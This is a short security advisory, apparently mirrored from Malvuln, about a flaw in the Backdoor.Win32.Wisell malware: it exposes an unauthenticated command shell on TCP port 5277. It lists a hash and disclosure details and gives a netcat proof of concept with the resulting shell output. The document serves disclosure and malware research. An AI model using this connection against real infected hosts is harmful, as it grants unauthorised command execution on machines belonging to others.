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Backdoor.Win32.Wisell / Unauthenticated Remote Command Execution

CVE Category Price Severity
N/A CWE-20 N/A High
Author Risk Exploitation Type Date
Unknown High Remote 2021-06-01
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060006

Below is a copy:

Backdoor.Win32.Wisell / Unauthenticated Remote Command Execution
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/eba4ce50a036a196484715f60c8a449b.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wisell
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 5277, third-party attackers who can reach the system can execute OS commands further compromising the already infected system. Sending the exclaimation point character "!" will not only quit the shell, but also effectively terminate the backdoor.
Type: PE32
MD5: eba4ce50a036a196484715f60c8a449b
Vuln ID: MVID-2021-0234
Disclosure: 05/31/2021

Exploit/PoC:
nc64.exe x.x.x.x 5277
WinShell v1.0 - '!' to quit, 'enter' to shell...
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-3c3fqjo\victim

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